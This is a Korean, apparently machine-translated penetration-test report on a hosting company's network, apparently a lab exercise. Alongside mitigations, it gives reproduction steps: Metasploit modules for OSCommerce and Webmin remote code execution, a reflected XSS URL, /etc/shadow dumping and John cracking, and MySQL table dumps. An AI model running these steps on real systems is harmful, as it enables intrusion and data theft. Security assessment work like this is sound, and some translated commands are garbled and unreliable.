블랙 호크 보안

회사 보안 검토

RVAPT호스팅

2020년 4월 20일

준비 대상:
밥 디노
마이크
조 프누

의해서 준비되었다:
컬렌 레젠데스
에반 미쿨스키
스펜서 로스
엘리야 헤일만

요약

RVAPT Hosting의 승인에 따라 RVAPT Hosting의 공용 및 내부 컴퓨팅 네트워크 모두에서 침투 테스트가 수행되었습니다. RVAPT Hosting에서 승인하고 보고서 뒷부분에서 논의하는 다양한 테스트 도구와 방법론을 사용하여 RVAPT Hosting의 비즈니스 운영과 클라이언트를 위험에 빠뜨리는 많은 취약점이 발견되었습니다. 이러한 취약성과 위험은 평판 손상, 수익 손실, 회사에 대한 신뢰 및 확신 상실을 포함하되 이에 국한되지 않는 영향으로 회사에 중대한 영향을 미칠 수 있습니다. 이 감사는 RVAPT Hosting의 비즈니스 및 보안과 관련하여 이러한 취약성의 중요성과 위험을 논의하는 동시에 완화 전략을 제시하고자 합니다.

제안의 재진술

이 감사의 조건은 RVAPT Hosting의 컴퓨팅 인프라와 고객의 웹 페이지 및 애플리케이션의 보안을 테스트하고 분석하는 것이었습니다.

관리자 요약

참여하는 동안 여기 Black Hawk Security에서 5개의 취약점, mysql의 클라이언트 및 직원 데이터에 대한 2개의 일반 텍스트 테이블, 일부 시스템 관리자 및 VIP 클라이언트의 로그인 자격 증명, 일부 잠재적인 맬웨어를 발견했습니다. 우리가 발견한 취약점에는 Webmin 원격 코드 실행, FTP 익명 로그인, SMB 서명이 활성화되지 않음, NLA가 활성화되지 않음 및 OSCommerce 원격 코드 실행이 포함됩니다. 각 취약점에 대한 해결 방법은 아래의 해당 섹션에서 설명합니다. mysql 테이블 문제는 단순히 데이터를 해싱하여 해결할 수 있습니다. 로그인 자격 증명을 보호하기 위해 포함된 파일을 숨길 뿐만 아니라 해싱하는 것이 좋습니다. 시스템에서 잠재적인 맬웨어를 발견했다는 사실은 RVAPT 호스팅이 이미 침해되었음을 의미합니다. 다른 버그나 맬웨어가 있는지 확인하기 위해 시스템을 정밀 검사하는 것이 좋습니다. 그 외에도 모든 맬웨어를 차단할 수는 없지만 너무 많은 피해를 유발하지 않도록 막을 수 있으므로 이러한 유형의 맬웨어에 대한 정기적인 검사를 권장합니다.

기술 요약

참여가 끝날 무렵 우리는 클라이언트 및 직원 데이터의 두 개의 일반 텍스트 mysql 테이블, 고위 직원(예: 시스템 관리자) 및 VIP 클라이언트의 로그인 자격 증명, 일부 잠재적인 맬웨어 등 네트워크에서 여러 취약점을 발견할 수 있었습니다. 발견된 취약점은 Webmin 원격 코드 실행, FTP 익명 로그인 및 OSCommerce 원격 코드 실행이었습니다. 여기에 있는 각 취약성과 문제는 각각을 완화하는 방법을 포함하여 아래에서 더 자세히 설명합니다. 처음에는 192.168.110.60의 Webmin 취약점(자세한 내용은 아래 참조)을 통해 DMZ에 액세스할 수 있었고 여기에서 몇 가지 로그인 자격 증명(특히 Mike와 Josh의 자격 증명)을 찾았습니다. 이를 통해 루트 사용자로 mysql에 액세스할 수 있었습니다. 루트 사용자를 사용하여 우리는 주소, 로그인 자격 증명 및 신용 카드 번호를 포함하되 이에 국한되지 않는 민감한 직원 및 고객 데이터로 채워진 두 개의 테이블을 발견했습니다. DMZ를 통해 작업하는 동안 우리는 Legion Loader Malware의 암호 화폐 채굴기 부분으로 보이는 .legion_miner_callbak라는 잠재적 악성 프로그램을 우연히 발견했습니다. 우리는 그것을 리버스 엔지니어링할 수 없었지만 연구에 따르면 Legion Loader는 무수히 많은 악성 프로그램을 배포합니다. 별도의 트랙에서 여전히 이전에 찾은 로그인 자격 증명을 사용하여 내부 네트워크에 액세스할 수 있었습니다. 내부 네트워크에서 sysadminjosh에 대한 자격 증명으로 사용자 josh로 dc에 액세스할 수 있음이 발견되었습니다. 또한 3개의 호스트에서 네트워크 수준 인증이 활성화되지 않았고 4개의 호스트에서 SMB 서명이 활성화되지 않은 것으로 밝혀졌습니다.

취약점

OSCommerce 설치 디렉토리

- **설명**– epicgamers.rvapthosting.com 웹사이트에 설치된 OSCommerce 패키지에는 대중이 계속 사용할 수 있는 설치 디렉토리가 포함되어 있습니다. 이 디렉터리는 설정 중에 SQL 데이터베이스 연결, PHP 구성 등을 구성하는 데 사용됩니다. 이 디렉터리는 웹 사이트를 방문하는 모든 사람이 액세스할 수 있으며 다양한 방법으로 악용될 수 있습니다.
- **가능성 – 높음**
  - 공격자는 설정 인터페이스에 액세스하기 위해 epicgamers.rvapthosting.com/install로 이동하기만 하면 됩니다. 이를 통해 공격자는 다른 SQL 데이터베이스로 리디렉션하거나 일반적으로 서버를 다운시킬 수 있습니다. 또한 이 취약점에 대해 쉘 액세스 권한을 부여하는 메타스플로잇 모듈이 이미 생성되어 있으므로 공격자가 많은 노력 없이 악용할 것이라고 가정하는 것이 매우 합리적입니다.
- **영향 – 높음**

○ 이 취약점의 영향은 다양한 방식으로 사용될 수 있기 때문에 높은 등급으로 표시됩니다. 셸 액세스 권한이 있는 공격자는 관리자로 로그인하지 않더라도 중요한 데이터에 액세스하고 인프라 전체에 액세스할 수 있는 기회를 허용합니다.

● **재현 단계**

ㅏ. 취약점의 영향을 확인하는 한 가지 방법은 단순히 epicgamers.rvapthosting.com/install을 탐색하는 것입니다.

비. 셸 액세스의 경우 다음을 수행합니다.

- Kali Linux 머신 시작
- Msfconsole
- exploit/multi/http/oscommerce_installer_unauth_code_exec 사용
- 세트 RHOST 192.168.110.10
- VHOST 설정 epicgamers.rvapthosting.com
- SET URI /설치
- 달리다

● **완화**

ㅏ. RVAPT Hosting은 단순히 설치 디렉터리를 삭제하여 취약점을 완화할 수 있습니다. OSCommerce는 설치 후 디렉토리를 삭제할 것을 권장합니다.

Webmin 비밀번호 재설정 RCE

● **설명**– 1.920 버전에서는 비밀번호 변경 포럼에 원격 코드 실행 취약점이 존재합니다. 이를 통해 공격자는 Webmin 서비스가 실행 중인 모든 사용자로 명령을 실행할 수 있습니다.

● **가능성 – 높음**

○ 이미 존재하는 메타스플로잇 익스플로잇이 있기 때문에 악용될 가능성이 높습니다.

● **영향 – 높음**

○ webmin 서비스가 관리 시스템에서 루트로 실행 중이었기 때문에 이것의 영향이 큽니다. 여기에서 공격자는 시스템을 완전히 제어할 수 있으며 거기에서 피벗 포인트를 가질 수 있습니다.

● **재현 단계**

ㅏ. msfconcole 실행

비. exploit/linux/http/webmin_backdoor 사용

씨. RHOSTS 192.168.110.60 설정

디. LHOST 192.168.10.8 설정

- **완화**

  ㅏ. Webmin을 최신 버전으로 업데이트

  비. Webmin 서비스를 다른 사용자로 실행

Epic Gamers URL 경로에 교차 사이트 스크립팅 반영

- **설명**– Reflected Cross Site Scripting은 사용자에게 코드가 주어진 경우 공격자가 JavaScript 코드를 실행할 수 있게 하는 취약점입니다. 예를 들어 공격자는 악성 코드가 포함된 epicgamers.rvapthosting.com 웹 사이트에 대한 링크를 사용자에게 제공할 수 있으며 잠재적으로 사용자의 세션, 개인 데이터 또는 교차 사이트 요청 위조 공격에 대한 액세스 권한을 얻을 수 있습니다.

- **가능성 – 중간**
  - 공격자가 이를 악용할 가능성이 얼마나 되는지 말하기는 어렵습니다. 교차 사이트 스크립팅은 공격자 사이에서 매우 인기 있는 웹 취약점이며 일반적으로 공격자가 확인하는 첫 번째 항목 중 하나입니다. 사용자 데이터에 액세스할 수 있는 시간과 검증된 방법이 주어지면 RVAPT 호스팅은 공격자가 이 취약점을 사용할 가능성이 있음을 확신할 수 있습니다.
- **영향 – 중간**
  - 이 취약점이 미칠 가장 큰 영향은 사용자를 표적으로 삼는 능력에 있습니다. 공격자는 이 취약점을 악용하여 잘못된 구매를 할 수 있으며, 에픽게임즈 웹사이트와 연결된 경우 잠재적으로 사용자의 개인 금융 정보를 노출할 수 있습니다. 웹사이트가 사용자 정보의 온상이 되어 에픽게이머와 RVAPT 호스팅 전체에 대한 신뢰를 잃을 수 있다는 점을 고려할 때 그 영향이 상당히 클 것이라고 확신할 수 있습니다. 따라서 공격자가 중요한 사용자 데이터에 액세스할 수 있다는 점을 감안할 때 그 영향이 중간이라고 판단했습니다.

- **재현 단계**

  ㅏ. 웹사이트 사용자에 대한 테스트는 범위를 벗어나므로 다음 URL은 반영된 크로스 사이트 스크립팅이 있음을 증명합니다.

  비. http://epicgamers.rvapthosting.com/product_info.php?products_id=javascript%3Aalert%281%29%3B

- **완화**

  ㅏ. RVAPT 호스팅은 입력에 대해 더 많은 위생 처리를 구현해야 합니다. product_info.php 페이지는 완전히 신뢰할 수 없는 사용자의 임의 입력을 허용하기 때문에 URL을 올바르게 인코딩하는 것이 중요합니다. 이 데이터를 삭제하는 방법에는 여러 가지가 있습니다. 개발자는 product_info.php 코드로 이동하여 대괄호를 포함한 다양한 문자를 허용하지 않거나 특정 JavaScript 태그를 허용하지 않아야 합니다.

SMB 서명이 활성화되지 않음

- **설명**– SMB 서명은 중간자 공격을 방지하기 위해 헤더에 서명을 추가하는 보안 메커니즘입니다.
- **가능성 – 낮음**
  - 공격자는 SMB 서명이 활성화되지 않았다는 사실을 악용하기 전에 이미 내부 네트워크에 도달해야 합니다.
- **영향 – 중간**
  - 이것의 영향은 공격자가 대상 호스트에서 셸을 얻을 수 있게 한다는 것입니다.

- **재현 단계**
  ㅏ. 일정 변경으로 인해 이 공격 방법을 사용할 시간이 없었습니다.
- **완화**
  ㅏ. 호스트 구성에서 메시지 서명을 시행합니다. Windows에서는 'Microsoft 네트워크 서버: 디지털 서명 통신(항상)' 정책 설정에서 찾을 수 있습니다. Samba에서는 설정을 '서버 서명'이라고 합니다.

NLA(네트워크 수준 인증)가 활성화되지 않음

- **설명**– NLA는 서버에 대한 세션이 시작되기 전에 사용자가 자신을 인증하도록 요구하고 신뢰할 수 없는 호스트에 자격 증명을 제공하지 못하도록 원격 서버의 무결성을 보장하는 데 사용되는 기술입니다.

- **가능성 – 낮음**
  - 공격자는 NLA가 활성화되지 않았다는 사실을 악용하기 전에 이미 내부 네트워크에 도달해야 합니다.
- **영향 – 중간**
  - 이것의 영향은 공격자가 대상 호스트에서 셸을 얻을 수 있게 한다는 것입니다.

- **재현 단계**
  ㅏ. 일정 변경으로 인해 이 공격 방법을 사용할 시간이 없었습니다.
- **완화**
  ㅏ. 원격 RDP 서버에서 네트워크 수준 인증(NLA)을 활성화합니다. 이것은 일반적으로 Windows의 '시스템' 설정의 '원격' 탭에서 수행됩니다.

신임장

sysadminjosh

- **설명**– 위에서 논의한 Webmin 취약점을 사용하여 다음을 열거할 수 있었습니다.
  . 60 상자를 열고 sysadminjosh 사용자의 일반 텍스트 암호가 포함된 콘텐츠가 포함된 reverse_ssh.txt라는 파일을 찾습니다.
- **영향 – 높음**
  - 이 자격 증명 세트는 .60 상자에 대한 Webmin 익스플로잇보다 적은 액세스 권한을 부여했지만, 이 동일한 자격 증명 세트는 나중에 내부 네트워크에 대한 액세스 권한을 얻는 데 사용되었습니다.
- **재현 단계**

  ㅏ. Webmin 익스플로잇 실행

  비. 고양이 /home/sysadminjosh/.ssh/internal/reverse_ssh.txt
- **완화**

  ㅏ. 일반 텍스트 암호를 파일에 저장하지 마십시오.

단발

- **설명**– 사용자 sysadminjosh에 대해 위에서 찾은 암호를 사용하여 내부 네트워크의 .20 상자에 ssh를 연결할 수 있었습니다. 이 상자에서 우리는 텍스트 파일에 저장된 bob 사용자의 자격 증명을 발견할 수 있었습니다.
- **영향 – 중간**
  - 다른 액세스에는 이러한 자격 증명을 사용하지 않았지만 Bob은 임원이기 때문에 이러한 자격 증명이 일반 직원보다 더 많은 액세스 권한을 가질 것이라고 생각합니다.
- **재현 단계**
  - ssh "rvapthosting.com\josh"@192.168.120.20
  - 고양이 Documents\MobaXterm\slash\FTPRemoteFiles\3\2\ josh@192.168.120.2 \bob_sickdays_emergency_creds.txt
- **완화**

  ㅏ. 일반 텍스트 암호를 파일에 저장하지 마십시오. 암호를 재사용하지 마십시오.

sysadminmike

- **설명**– Webmin 백도어에서 /etc/passwd 및 /etc/shadow의 내용을 획득하고 사용자 sysadminmike의 해시를 크랙했습니다.
- **영향 – 중간**
  - ◯ 이 자격 증명 세트는 우리가 이미 가지고 있는 것보다 더 많은 액세스 권한을 제공하지만 지속성을 설정하는 방법입니다.
- **재현 단계**

  ㅏ. Webmin 취약점을 사용하여 .60 상자에 대한 액세스 권한 얻기

  비. cat /etc/passwd(내용을 복사하여 로컬 시스템에 붙여넣기)

  씨. cat /etc/shadow (내용을 복사하여 로컬 시스템에 붙여넣기)

  디. unshadow passwd.txt shadow.txt > passwords.txt

  이자형. cd /usr/share/wordlist

  에프. gunzip -k rockyou.txt.gz

  g. 존 --wordlist=/usr/share/wordlist/rockyou.txt passwords.txt

  시간. 존 --passwords.txt 표시
- **완화**

  ㅏ. 더 강력한 암호를 사용하십시오.

sysadminjosh x2

- **설명**– 사용자 sysadminjosh에 대해 위에서 찾은 암호를 사용하여 내부 네트워크의 .20 상자에 ssh를 연결할 수 있었습니다. 이 상자에서 우리는 텍스트 파일에 저장된 사용자 josh의 자격 증명을 발견할 수 있었습니다.
- **영향 – 중간**
  - ◯ 이러한 자격 증명은 정보가 많지 않지만 악용될 수 있는 오래된 FTP 서버에 액세스하는 데 사용되었습니다.
- **재현 단계**
  - ■ ssh "rvapthosting.com\josh"@192.168.120.20
  - ■ 고양이 oldftp.txt
- **완화**
  - ◯ 파일에 일반 텍스트로 암호를 저장하지 마십시오. 더 이상 사용되지 않는 더 이상 사용되지 않는 인프라를 제거하십시오.

VNC

- **설명**– Webmin 익스플로잇과 OSCommerce 익스플로잇을 사용하여 VNC용 일반 텍스트 암호 세트 2개를 찾을 수 있었습니다.
- **영향 – 중간**
  - ○ 이 암호는 우리에게 액세스 권한을 부여하지 않았지만 더 많은 정찰을 통해 잠재적으로 다른 상자를 손상시킬 수 있었습니다.
- **재현 단계**
  - ○ 첫 번째 비밀번호
    - ■ Webmin 익스플로잇 사용
    - ■ 고양이 vnc_cred.txt
  - ○ 두 번째 비밀번호
    - ■ OSCommerce 익스플로잇 사용
    - ■ 고양이 vnc.txt
- **완화**
  - ○ 파일에 일반 텍스트로 암호를 저장하지 마십시오.

SSH 키

- **설명**– SSH 키는 사용자에게 시스템에 대한 보안 원격 액세스 권한을 부여하는 데 사용됩니다. 이러한 키는 기술자나 개발자가 서버와 컴퓨팅 인프라를 관리하는 데 자주 사용합니다.
- **가능성 – 낮음**
  - ○ 공격자가 이미 시스템에 액세스해야 한다는 점을 고려하면 가능성은 낮습니다. 위의 웹 익스플로잇 중 일부를 사용하여 셸 액세스 권한을 얻은 후에만 키에 액세스했습니다.
- **영향 – 높음**
  - ○ 공격자에게 키와 연결된 사용자와 동일한 액세스 권한을 부여하므로 그 영향이 클 것입니다. sysadmin 계정에 대한 액세스 권한은 공격자에게 잠재적으로 다른 시스템에 대한 높은 수준의 액세스 권한을 부여합니다.
- **재현 단계**

  ㅏ. Webmin 익스플로잇 실행

  비. /home/sysadminjosh/.ssh/
- **완화**

  ㅏ. 발견된 SSH 키는 모두 다양한 사용자(rvapt 지원 및 sysadmin Josh)의 개인 키였습니다. 개인 키는 서버에 저장해서는 안 되며 기술자의 컴퓨터에만 보관해야 합니다.

스캔

WPscan

- **설명**– 보안 문제에 대해 Wordpress를 스캔합니다. 이 경우 인증 키, 솔트 및 mysql 자격 증명이 있는 이전 구성 파일을 찾았습니다.
- **재현 단계**
  ㅏ. wpscan --url http://blog.dankaistartup.rvapthosting.com/ -v
- **완화**
  - 스캐너 자체를 차단할 수는 없지만 구성 파일을 숨기고 암호화하거나 삭제하는 것이 좋습니다.

MySQL 위반

- **설명**– 직원 및 클라이언트 데이터가 포함된 루트 사용자를 사용하여 두 개의 일반 텍스트 테이블이 발견되었습니다.
- **영향 – 높음**
  - 만약에
- **재현 단계**
  ㅏ. ssh -i ./saj_priv sysadminjosh@192.168.110.60
  비. mysql -u 루트 -p
  씨. 쇼 데이터베이스;
  디. 사용 rvapthosting;
  이자형. 테이블 보기;
  에프. 선택 * 클라이언트에서;
  g. rvaptemployee에서 * 선택;
- **완화**
  ㅏ. 여기서 가장 좋은 방법은 데이터가 일반 텍스트가 아니도록 복잡한 해싱 알고리즘을 사용하는 것입니다. 또한 루트 사용자에 대해 다른 강력한 암호를 사용하는 것이 좋습니다.

결론

결론적으로 RVAPT Hosting의 테스트는 상당한 양의 취약점이 있는 것으로 판명되었습니다. Webmin 포털 및 OSCommerce 관리에서 발견된 RCE 취약점과 같은 웹 관련 취약점을 통해 공격자는 나머지 인프라로 이동하기 전에 시스템 인프라에서 발판을 마련할 수 있었습니다. 자격 증명이 안전하지 않게 저장되어 공격자가 일반 텍스트 암호를 볼 수 있습니다. 암호의 강도도 약해서 테스터 중 한 명이 비교적 쉽게 암호를 해독할 수 있었습니다(1시간 소요). 고객 데이터가 안전하지 않게 저장되어 테스터가 민감한 사용자 데이터를 볼 수 있어 RVAPT Hosting이 데이터 위반 및 손해를 입을 수 있습니다. 마지막으로 Blackhawk Security는 RVAPT 호스팅과 협력할 수 있는 기회를 높이 평가합니다.